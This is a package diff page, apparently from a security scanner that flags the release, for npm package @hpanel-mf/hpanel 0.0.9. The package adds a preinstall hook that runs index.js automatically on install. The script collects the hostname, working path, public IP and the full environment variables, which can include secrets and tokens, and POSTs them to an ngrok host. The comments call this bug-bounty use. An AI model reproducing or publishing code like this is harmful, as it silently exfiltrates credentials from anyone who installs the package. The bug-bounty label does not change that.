@hpanel-mf/hpanel 0.0.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @hpanel-mf/hpanel might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +35 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,35 @@
1
+ const os = require('os');
2
+ const path = require('path');
3
+
4
+ function postData(url = '', data = {}) {
5
+ fetch(url, {
6
+ method: 'POST',
7
+ headers: {
8
+ 'Content-Type': 'application/json',
9
+ },
10
+ body: JSON.stringify(data),
11
+ });
12
+ }
13
+
14
+ async function getPublicIP() {
15
+ const response = await fetch('https://api.ipify.org/?format=json');
16
+ const data = await response.json();
17
+ return data.ip;
18
+ }
19
+
20
+ async function runPayload() {
21
+ const ip = await getPublicIP();
22
+ const data = {
23
+ time: new Date(),
24
+ hostname: os.hostname(),
25
+ path: path.resolve(),
26
+ env: process.env,
27
+ ip: ip,
28
+ ver: "hpanel-0.0.9"
29
+ };
30
+ postData("https://2e25-2001-1ab8-1-8-ada2-50b5-be0-1677.ngrok-free.app/", data)
31
+ }
32
+
33
+ runPayload()
34
+
35
+ //EVERYTHING IS USED FOR BUG BOUNTY PURPOSES AND WILL BE REPORTED TO ORGANIZATIONS!!!
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@hpanel-mf/hpanel",
3
+ "version": "0.0.9",
4
+ "description": "THIS PACKAGE IS USED FOR BUG BOUNTY PURPOSES!!!",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }